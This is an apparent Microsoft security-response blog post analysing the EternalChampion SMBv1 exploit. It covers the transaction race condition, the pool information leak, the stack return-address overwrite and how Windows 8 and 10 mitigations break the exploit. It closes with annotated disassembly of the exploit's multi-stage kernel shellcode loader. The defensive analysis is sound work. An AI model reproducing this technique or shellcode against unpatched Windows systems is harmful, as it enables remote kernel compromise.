Champion Exploit

Analysis of the Eternal Champion Exploit

Recently, a group named the ShadowBrokers published several remote server exploits targeting various protocols on older versions of Windows. In this post we are going to look at the EternalChampion exploit in detail to see what vulnerabilities it exploited, how it exploited them, and how the latest mitigations in Windows 10 break the exploit as-written.

In the coming weeks you can expect to see similar analysis for a number of other “Eternal” exploits.

The vulnerabilities exploited in this blog post were fixed with MS17-010; customers who have installed all patches are protected.

Overview

Eternal Champion is a post authentication SMB v1 exploit targeting Windows XP through Windows 8. As we’ll show, the exploit relies on techniques that have been mitigated since Windows 8 and further mitigated in Windows 10.

This analysis will examine the exploit targeting Windows 7 x64 RTM.

Vulnerability

The issue exploited is a race condition in how SMBv1 handles transactions. A transaction is a type of request that can potentially span multiple packets.

For example, if a request is too large to fit in a single server message block (SMB), a transaction can be created of the appropriate size and this transaction will store the data as it is received from multiple SMBs. Note that multiple SMBs can be contained in a single packet, or they can be spread out over multiple packets.

A transaction is first created using a primary request. The data from the request is copied in to the transaction, and the transaction is added to a transaction list for the connection. If all expected data was received, the transaction is immediately executed. Secondary requests can be made to add additional data to the transaction until the transaction has received all expected data.

There is an issue in the case that the primary transaction contains all expected data: The transaction isn’t marked as “being executed”, but is placed in the transaction list, and is sent to the “ExecuteTransaction” function. This means a race is possible: secondary requests can be made (handled on separate threads) that modify the transaction while it is being executed by ExecuteTransaction.

ExecuteTransaction doesn’t expect this to be possible and having transaction data being modified while it is running, combined with loose parameter validation, can result in access violations.

Exploit

This vulnerability is exploited in two ways. First for an information leak, and second for remote code execution.

Info Leak

The bug is first exploited to leak pool information via an out-of-bounds read. To do this, a single packet containing multiple SMBs is sent to the server.

Before going in to the chain of events that occurs, here is a TRANSACTION data structure with relevant fields to this exploit:

srv!TRANSACTION
…
+0x010 Connection       : Ptr64 _CONNECTION
…
+0x080 InData           : Ptr64 Char // data received
+0x088 OutData          : Ptr64 Char // data to send (same buffer as InData)
…
+0x0a4 DataCount        : Uint4B // data received so far
+0x0a8 TotalDataCount   : Uint4B // total data expected (size of InData)
…
+0x0e3 Executing        : UChar

The packet sent to the server contains three primary pieces:

A NT Primary Transaction request for the function NT RENAME. This request contains all expected data and will be immediately executed.
A NT Secondary Transaction request designed to trigger the race condition for the primary request.
A series of Primary Transaction requests intended to spray the pool with srv!TRANSACTION structures. The goal is to get one of these structures allocated directly after the srv!TRANSACTION structure that tracks the first NT Primary Transaction request.

The initial transaction created is for an NT RENAME request. This function is effectively a no-op that reads the request in to its InData buffer, sets DataCount to be the number of bytes copied, and later returns DataCount bytes from its OutBuffer (which points at the InBuffer) back to the client (simply echoing back what the client sent it).

Note that because the primary request contains all expected data, DataCount == TotalDataCount.

The secondary transaction request takes advantage of the previously described race and some additional issues.

When processing the secondary transaction, parameter validation is too relaxed. The function validates that the data the client sent will fit in the InData buffer and if so, copies the data in. Note that the client tells the server the offset in to InData to write data, and the number of bytes to write. This allows a legitimate client to fill in all pieces of the transaction using multiple SMBs. This validation was okay.

The transaction also has a DataCount field which tracks the number of bytes received, and TotalDataCount which is the size of the InData buffer. When the secondary transaction request handler writes data to InData, DataCount is incremented by the number of bytes written. While there is code that validates that InData isn’t overflowed, there were no checks ensuring that DataCount doesn’t exceed TotalDataCount.

Normally this wouldn’t be too much of an issue because the secondary transaction request handler will not execute the transaction unless DataCount == TotalDataCount. Unfortunately, another thread is already executing ExecuteTransaction on this transaction due to the race condition under attack.

The in-progress ExecuteTransaction ends up copying back DataCount bytes from InData, but DataCount has been incremented to be bigger than the size of InData by the secondary transaction request thread, resulting in out-of-bounds data being sent back to the client. This out-of-bounds data contains the contents of one of the TRANSACTION structures that was sprayed to the pool. The exploit’s goal is to leak back the “Connection” pointer contained in the TRANSACTION structure.

Remote Code Execution

The vulnerability is exploited in a similar way for remote code execution, this time using a Transaction2/Transaction2Secondary request instead of using an NT Transaction.

First, a transaction is created that contains the shellcode. This transaction isn’t used to trigger the bug; it just contains the second stage payload.

Next, a packet is sent that contains multiple SMBs. The packet contains:

A Trans2 Primary SMB to do a QueryPathInfo
Several Trans2 Secondary SMBs to trigger a race condition

The Trans2 Primary SMB once again contains all expected transaction data and immediately begins execution. Eventually the function SrvSmbQueryPathInformation executes. This function has one particularly nice line of code for an attacker:

transaction->InData = (PVOID)&objectName;

This line of code is making the transaction’s InData pointer point at a stack variable.

Because of the previously described race, as this happens there are other threads simultaneously processing the Trans2 Secondary SMBs. As noted previously, the secondary transaction handler ensures the secondary transaction request’s data can fit in the InData buffer and if so, copies it. Except due to the race, the InData pointer now points to the stack of the primary transaction request handlers thread (as opposed to the expected pool buffer). This allows an attacker to write their data directly to the stack of another thread.

if ( dataCount != 0 ) {
    RtlMoveMemory(
                  transaction->InData + dataDisplacement,//displacement attacker controlled
                  (PCHAR)header + dataOffset, // attackers data within the request
                  dataCount //dataCount is attacker controlled
                  );
}

The attacker has control over the displacement from InData to copy the data in addition to the amount of data to copy. This allows them to precisely overwrite a return address stored on the stack of the primary transaction request handlers thread.

Payload

At this stage, the attacker can overwrite a return address on another thread in a precise manner (no other data will be tampered with). Because the saved return address being overwritten is in another thread, there’s not necessarily a guarantee that the registers will contain useful information for building a stack pivot and ultimately performing ROP.

In the info leak stage, the attacker leaked the address of a CONNECTION object. One of the fields in this object is a UNICODE_STRING named ClientOSType which contains an attacker controlled UNICODE_STRING that gets set during the initial connection handshake. The attacker can also control the value of Length and MaximumLength in the UNICODE_STRING based on their initial handshake.

ntdll!UNICODE_STRING
+0x000 Length           : Uint2B
+0x002 MaximumLength    : Uint2B
+0x008 Buffer           : Ptr64 Wchar

A UNICODE_STRING has 4 padding bytes (in this case set to 0) between the MaximumLength and Buffer fields, and Buffer points to attacker controlled data.

With this knowledge in mind, an attacker forces the MaximumLength to be 0x15ff. The attacker overwrites the return address to be the address of CONNECTION->ClientOSType.MaximumLength. When this (combined with the 4 padding bytes) is interpreted as an instruction, we get:

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

This calls the address stored immediately after this instruction. The address immediately after this instruction is the “Buffer” pointer, so this calls in to the attacker controlled ClientOSType data buffer. Note that since this is a call instruction, the return address pushed on to the stack is the address of the “Buffer” field.

See below for a detailed analysis of the shellcode that is executed. The cliff notes are:

Stage 1 (position independent shellcode):

Pop off the return address from the stack to get the address of CONNECTION->ClientOSType.Buffer
Use this knowledge to loop through the linked list of TRANSACTIONS stored at CONNECTION->TransactionList
Look for a transaction that starts with a special identifier, this contains Stage2 shellcode
Copy Stage2 shellcode from the transaction in to the data buffer immediately after Stage1
Execute it

Stage 2:

Do additional sanity checks
Execute user supplied (via fuzzbunch) shellcode

Mitigations Impact on Exploit

As noted above, Windows 8 x64 (and newer) platforms weren’t affected by this exploit. The primary reason for this is because starting with Windows 8, a large amount of the kernel virtual address space (including the paged and non-paged pool) was made non-executable. Because each stage of this exploit depends on executing memory out of the pool, the exploit as-written will not work against Windows 8 x64 and above. For more information on the NX changes made for Windows 8, see: http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf.

For application compatibility reasons, 32-bit versions of Windows still have an executable paged pool (among other regions), so the exploit does successfully target 32bit Windows 8.

Looking beyond Windows 8, Microsoft has made additional improvements to kernel security in Windows 10 which make exploitation of this vulnerability more difficult:

Hypervisor-enforced Code Integrity (HVCI) prevents unsigned kernel pages from being executed, further blocking exploitation avenues.

Windows 10 1607 and 1703 introduced full 64-bit kernel ASLR (all regions except HAL heap randomized in 1607, HAL heap randomized in 1703) which will make adapting this vulnerability to more modern platforms more difficult (a more involved exploit would be required to bypass the NX memory mitigations).

Final Words

I’d like to extend a thank you to Swamy Shivaganga Nagaraju and Nicolas Joly (MSRC Vulnerabilities and Mitigations Team) and Viktor Brange (WDG OSR team) for their notes and help provided in identifying these race conditions.

– Joe Bialek from MSRC Vulnerabilities and Mitigations Team

Shellcode

;;;;;;;;;;;;;;;;;;;;
; STAGE 0
;;;;;;;;;;;;;;;;;;;;

;
; Stage 0 is extremely simple. It is a UNICODE_STRING structure stored at
; CONNECTION->ClientOSType. This UNICODE_STRING is initialized
; when the attacker first connects to the SMB server. It's Length,
; MaximumLength, and contents of Buffer are attacker controlled or influenced.
; The attacker makes the MaximumLength of the UNICODE_STRING be 0x15ff.
; The 4 padding bytes inbetween MaximumLength and Buffer are 0.
; When MaximumLength is executed as an instruction, these 4 bytes result
; in a relative call to the address stored immediately after the
; instruction. This results in the first byte of the buffer pointed to
; by Buffer being executed next, as the Stage 1 shellcode.
;

fffffa83`0398e3ea ff1500000000    call    qword ptr [fffffa83`0398e3f0]

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 0
;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;
; STAGE 1
;;;;;;;;;;;;;;;;;;;;

;
; The stage 1 shellcode is located within the CONNECTION->ClientOSType.Buffer
; buffer. The point of this shellcode is
; to copy in custom shellcode from a TRANSACTION and execute it.
;

stage1_shellcode_entry:

;
; This determines the location of a the connection
; structure for this SMB connection by popping r8.
; This pops the return address of the stack
; which happens to be the address of CONNECTION->Buffer
; (because that is where this was called from).
; Knowing where the CONNECTION structure
; is located, an attacker can search through the
; PAGED_CONNECTION->TransactionList looking for a
; transaction with a magic identifier.
;

; The first instruction jmps a little ways down over 
; some data embedded in the shellcode. They need to 
; start with a jump (as opposed to embedding data first 
; thing and calling to the spot the instructions start) 
; because they can only call directly in to this buffer, 
; not to an offset within it.
fffffa83`02dbb010 eb08            jmp     fffffa83`02dbb01a

<>

; Pop off the return instruction from the stack. 
; The return instruction is: &(CONNECTION->ClientOSType.Buffer)
fffffa83`02dbb01a 4158            pop     r8
fffffa83`02dbb01c 50              push    rax
fffffa83`02dbb01d 50              push    rax

; lea of part of some_embedded_data
fffffa83`02dbb01e 488d0df4ffffff  lea     rcx,[fffffa83`02dbb019]

; Starts off at 1 in my test. Seems to be a test if 
; custom shellcode needs to be copied in from another 
; buffer or if the default shellcode should be used. 
; This could be some sort of multithreaded guard.
fffffa83`02dbb025 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb027 84c0            test    al,al
 
; jmp to stage2_shellcode_entry
fffffa83`02dbb029 745b            je      fffffa83`02dbb086

; *rcx this was initially 1, now set it to 0
fffffa83`02dbb02b c60100          mov     byte ptr [rcx],0
fffffa83`02dbb02e 31c0            xor     eax,eax

; Retrieve an offset some_embedded_data (it is 0x228 in my test)
fffffa83`02dbb030 668b05dbffffff  mov     ax,word ptr [fffffa83`02dbb012]

; sub 0x228 from the r8 pointer (which pointed 
; to &(CONNECTION->ClientOSType.Buffer). 
; r8 is now &(CONNECTION->PagedConnection)
fffffa83`02dbb037 4929c0          sub     r8,rax

; rax = PAGED_CONNECTION corrosponding to the CONNECTION 
fffffa83`02dbb03a 498b00          mov     rax,qword ptr [r8]   

; rax = The first TRANSACTION in the linked list 
; from PAGED_CONNECTION->TransactionList.Flink 
fffffa83`02dbb03d 488b4010        mov     rax,qword ptr [rax+10h]
fffffa83`02dbb041 4831d2          xor     rdx,rdx

; Read in the offset between TRANSACTION->ConnectionListEntry 
; and TRANSACTION->InData from some_embedded_data. In my test this is 0x58.
fffffa83`02dbb044 8a15ceffffff    mov     dl,byte ptr [fffffa83`02dbb018]

; Read in data I'll refer to as "AttackerTransactionMarker" 
; from some_embedded_data
fffffa83`02dbb04a 448b15c3ffffff  mov     r10d,dword ptr [fffffa83`02dbb014]

; Save the transaction list head so we don't infinite loop 
; if a matching TRANSACTION isn't found 
fffffa83`02dbb051 4989c3          mov     r11,rax   

; Load the first QWORD from srv!TRANSACTION->InData 
fffffa83`02dbb054 488b0c10        mov     rcx,qword ptr [rax+rdx]

; Check if the first DWORD of the 
; srv!TRANSACTION->InData == AttackerTransactionMarker 
fffffa83`02dbb058 443b11          cmp     r10d,dword ptr [rcx]  

; If a match is found, jmp to matching_transaction_found 
fffffa83`02dbb05b 740a            je      fffffa83`02dbb067  

; Otherwise, look at the next TRANSACTION in the linked list  
fffffa83`02dbb05d 488b00          mov     rax,qword ptr [rax]

; Compare the current element to the list head 
fffffa83`02dbb060 4c39d8          cmp     rax,r11     

; If no matching TRANSACTION was found (end of list), 
; jmp to an instruction that puts us in an infinite 
; loop (to stop from crashing I guess)     
fffffa83`02dbb063 741f            je      fffffa83`02dbb084 

; Loop back up searching the next linked structure 
fffffa83`02dbb065 ebed            jmp     fffffa83`02dbb054 

matching_transaction_found:
;
; If a matching transaction is found, copy the payload
; contained in the transaction in to this buffer
; (after the Stage1 payload). Execute it.
;
fffffa83`02dbb067 57              push    rdi
fffffa83`02dbb068 56              push    rsi

; rdi = Stage1 start address
fffffa83`02dbb069 488d3da0ffffff  lea     rdi,[fffffa83`02dbb010]
fffffa83`02dbb070 31c0            xor     eax,eax
fffffa83`02dbb072 b076            mov     al,76h

; dest = stage2_shellcode_entry
fffffa83`02dbb074 4801c7          add     rdi,rax

; source == TRANSACTION->InData+0x8 (need to skip past the marker)
fffffa83`02dbb077 488d7108        lea     rsi,[rcx+8] 

; rep count == the second DWORD of the InData buffer 
; (first DWORD was the AttackerTransactionMarker to look for)
fffffa83`02dbb07b 8b4904          mov     ecx,dword ptr [rcx+4]

; Copy the second stage shellcode in from the 
; TRANSACTION->InData+8 to stage2_shellcode_entry
fffffa83`02dbb07e f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
fffffa83`02dbb080 5e              pop     rsi
fffffa83`02dbb081 5f              pop     rdi

; jump to stage2_shellcode_entry
fffffa83`02dbb082 eb02            jmp     fffffa83`02dbb086


infinite_loop:
fffffa83`02dbb084 ebfe            jmp     fffffa83`02dbb084


;;;;;;;;;;;;;;;;;;;;

; END OF STAGE 1

;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;

; STAGE 2 SHELLCODE

;;;;;;;;;;;;;;;;;;;;
;
; The second stage of shellcode is read in from a TRANSACTION record.
; The point of this stage is to either:
; 1: Transfer execution to custom attacker supplied shellcode
; 2: Recover this thread and resume normal execution
;      on it (in the case that the attacker shellcode has already run)
;

stage2_shellcode_entry:

;
; This block has a check to ensure the custom shellcode
; is only run once. If it hasn't been run, it is executed.
; Otherwise, cleanup steps are taken to return this
; thread to normal execution.
;
fffffa83`02dbb086 488d0de7000000  lea     rcx,[fffffa83`02dbb174]

; retrieve the last byte prior to payload
fffffa83`02dbb08d 8a01            mov     al,byte ptr [rcx]
fffffa83`02dbb08f 84c0            test    al,al

; if it was zero, go to code that attempts to gracefully 
; cleanup the exploit and resume normal execution
fffffa83`02dbb091 7408            je      fffffa83`02dbb09b

; set the byte to 0 (some sort of multithread guard I believe)
fffffa83`02dbb093 c60100          mov     byte ptr [rcx],0

; call MY_CUSTOM_PAYLOAD
fffffa83`02dbb096 e8da000000      call    fffffa83`02dbb175

cleanup_and_resume_main:

;
; It appears this code looks at the ETHREAD to find a pointer (code or pool).
; Depending on rax determines what state the worker thread is currently in.
; Depending on this state, the appropriate cleanup actions are taken
; which can consist of either:
;    1: Scanning the page for a relative jmp and taking that jmp
;    2: Adjusting the stack (rsp) and setting up some registers &
;       other data, and jmping into the start of srv!WorkerThread to
;       resume worker thread processing
;
; Note that I wasn’t able to trigger condition 1 on my system so
; it is unknown to me what the jmp is that they are taking.
;

; Call get_pointer_from_ethread to get a code pointer to NT
fffffa83`02dbb09b e84d000000      call    fffffa83`02dbb0ed
fffffa83`02dbb0a0 4889c2          mov     rdx,rax
fffffa83`02dbb0a3 58              pop     rax
fffffa83`02dbb0a4 59              pop     rcx

; check if the rax value initially pushed to the 
; stack (start of shellcode) == 3 (it is on my system)
; jmp to cleanup_resume_to_worker_thread
fffffa83`02dbb0a5 4883f803        cmp     rax,3
fffffa83`02dbb0a9 741f            je      fffffa83`02dbb0ca

; check if the rax value initially pushed to the 
; stack (start of shellcode) == 0
; jmp to cleanup_resume_to_worker_thread
fffffa83`02dbb0ab 4883f800        cmp     rax,0
fffffa83`02dbb0af 7419            je      fffffa83`02dbb0ca

; if we get to this point, it seems to be expected that
; get_pointer_from_ethread didn’t return ETHREAD->StartAddress
; and instead returned a pool address.
; add 0x80 to the value previously returned
fffffa83`02dbb0b1 4881c280000000  add     rdx,80h

; check if this address == 0x15ff (looking for 
; the UNICODE_STRING containing the payload)
fffffa83`02dbb0b8 66813aff15      cmp     word ptr [rdx],15FFh
fffffa83`02dbb0bd 7405            je      fffffa83`02dbb0c4

; increment the pointer and loop back around to continue searching
fffffa83`02dbb0bf 48ffc2          inc     rdx
fffffa83`02dbb0c2 ebf4            jmp     fffffa83`02dbb0b8

; increment through the UNICODE_STRING.MaximumLength 
; and 6 padding byte to the Buffer pointer, jump to it
fffffa83`02dbb0c4 4883c206        add     rdx,6
fffffa83`02dbb0c8 ffe2            jmp     rdx

cleanup_resume_to_worker_thread:
;
; Cleanups up and starts execution at srv!WorkerThread.
; In this case it is expected that get_pointer_from_ethread
; returned ETHREAD->StartAddress which points to srv!WorkerThread.
;

; rbx = SrvBlockingWorkQueues
fffffa83`02dbb0ca 4989d8          mov     r8,rbx
fffffa83`02dbb0cd b850000000      mov     eax,50h

; rcx = &(SrvBlockingWorkQueues->AvailableThreads)
fffffa83`02dbb0d2 4a8d0c00        lea     rcx,[rax+r8]
fffffa83`02dbb0d6 31c0            xor     eax,eax
fffffa83`02dbb0d8 ffc0            inc     eax

; Increment the number of available threads by 1
fffffa83`02dbb0da f00101          lock add dword ptr [rcx],eax

; load  data value (0x48 in this case), add it to the stack pointer
fffffa83`02dbb0dd 8b058d000000    mov     eax,dword ptr [fffffa83`02dbb170]
fffffa83`02dbb0e3 4801c4          add     rsp,rax
fffffa83`02dbb0e6 4c89c1          mov     rcx,r8

; jmp to rdx which is srv!WorkerThread, effectively resuming 
fffffa83`02dbb0e9 ffe2            jmp     rdx


infinite_loop:
fffffa83`02dbb0eb ebfe            jmp     fffffa83`02dbb0eb


get_pointer_from_ethread:
; Seems to return one of 3 things. Some of these fields are in enums and
; I didn’t test across all versions of Windows which may influence the results.
; In my test the EHTREAD->StartAddress was leaked, but these seem to be
; the three options: 
; ETHREAD->StartAddress, (code pointer to srv!WorkerThread)
; ETHREAD->TerminationPort, (pool pointer)
; ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink (pool pointer)

; rdx = KPCR->Prcb.CurrentThread (KTHREAD)
fffffa83`02dbb0ed 65488b142588010000 mov   rdx,qword ptr gs:[188h]

; Load some constant (0x00000388)
fffffa83`02dbb0f6 8b0d70000000    mov     ecx,dword ptr [fffffa83`02dbb16c]
fffffa83`02dbb0fc 85c9            test    ecx,ecx

; jump to get_pointer_from_ethread_alt if constant was 0
fffffa83`02dbb0fe 7416            je      fffffa83`02dbb116


get_startaddress_or_TerminationPort_from_ETHREAD:
; index 0x0388 into ETHREAD (&ETHREAD->StartAddress)
fffffa83`02dbb100 4801ca          add     rdx,rcx

; rax = ETHREAD->StartAddress, this is the code path I saw in testing
fffffa83`02dbb103 488b02          mov     rax,qword ptr [rdx]
fffffa83`02dbb106 4885c0          test    rax,rax

; if StartAddress != null, return StartAddress
fffffa83`02dbb109 7538            jne     fffffa83`02dbb143

; rax = ETHREAD->TerminationPort, return if not null
fffffa83`02dbb10b 488b4208        mov     rax,qword ptr [rdx+8]
fffffa83`02dbb10f 4885c0          test    rax,rax
fffffa83`02dbb112 752f            jne     fffffa83`02dbb143

; if both were null, jump to infinite_loop
fffffa83`02dbb114 ebd5            jmp     fffffa83`02dbb0eb


get_pointer_from_ethread_alt:

;
; Get the base address of NT. Based on the value
; of e_lfanew, parse in to the ETHREAD and retrieve a pointer.
;

fffffa83`02dbb116 52              push    rdx

; call find_ntos_kernel_base, eax = ntos kernel base when done
fffffa83`02dbb117 e828000000      call    fffffa83`02dbb144
fffffa83`02dbb11c 5a              pop     rdx

; rax = DOS_HEADER.e_lfanew address, ecx = e_lfanew
fffffa83`02dbb11d 4883c03c        add     rax,3Ch
fffffa83`02dbb121 8b08            mov     ecx,dword ptr [rax]

; jump if e_lfanew == 0xe8
fffffa83`02dbb123 81f9e8000000    cmp     ecx,0E8h 
fffffa83`02dbb129 740a            je      fffffa83`02dbb135

; jump if e_fanew == 0xf0
fffffa83`02dbb12b 81f9f0000000    cmp     ecx,0F0h
fffffa83`02dbb131 7406            je      fffffa83`02dbb139

; unrecognized e_lfanew, jump to infinite_loop
fffffa83`02dbb133 ebb6            jmp     fffffa83`02dbb0eb
fffffa83`02dbb135 4883c218        add     rdx,18h

; return ETHREAD->AlpcWaitSemaphore.Header.WaitListHead.Blink
fffffa83`02dbb139 4881c2c0030000  add     rdx,3C0h
fffffa83`02dbb140 488b02          mov     rax,qword ptr [rdx]

return:
fffffa83`02dbb143 c3              ret


find_ntos_kernel_base:

;
; Look at the first entry of the IDT. Use this to find
; the base address of NT by looking for the 'MZ' header 1 page at a time.
;

; rax = KPCR->IdtBase
fffffa83`02dbb144 65488b042538000000 mov   rax,qword ptr gs:[38h]

; rax = *(QWORD*)((UCHAR)KPCR->IdtBase + 4) (for KiDivideErrorFault
;  interrupt). This is reading part of the IDT entry (including 
; OffsetMiddle and OffsetHigh) which gives them the 6 most 
; significant bytes of the virtual address for the KiDivideErrorFault 
; interrupt handler.
fffffa83`02dbb14d 488b4004        mov     rax,qword ptr [rax+4]

; Clear out the bottom 12 bits. Bit 15 remains because it is 
; set to 1 (present) which makes the low USHORT greater than 0.
fffffa83`02dbb151 48c1e80c        shr     rax,0Ch
fffffa83`02dbb155 48c1e00c        shl     rax,0Ch
fffffa83`02dbb159 668b10          mov     dx,word ptr [rax]

; look for the MZ header, return if found
fffffa83`02dbb15c 6681fa4d5a      cmp     dx,5A4Dh
fffffa83`02dbb161 7408            je      fffffa83`02dbb16b

; subtract a page and continue looking for the base of ntoskrnl
fffffa83`02dbb163 482d00100000    sub     rax,1000h
fffffa83`02dbb169 ebee            jmp     fffffa83`02dbb159
fffffa83`02dbb16b c3              ret

<>
fffffa83`02dbb16c 8803            mov     byte ptr [rbx],al
fffffa83`02dbb16e 0000            add     byte ptr [rax],al
fffffa83`02dbb170 480000          add     byte ptr [rax],al
fffffa83`02dbb173 0001            add     byte ptr [rcx],al


MY_CUSTOM_PAYLOAD:

;
; The custom payload that EternalChampion allows the attacker to supply.
;

fffffa83`02dbb175 cc              int     3
fffffa83`02dbb176 cc              int     3
fffffa83`02dbb177 cc              int     3
fffffa83`02dbb178 cc              int     3
fffffa83`02dbb179 cc              int     3
fffffa83`02dbb17a cc              int     3
fffffa83`02dbb17b cc              int     3
fffffa83`02dbb17c cc              int     3

;;;;;;;;;;;;;;;;;;;;
; END OF STAGE 2
;;;;;;;;;;;;;;;;;;;;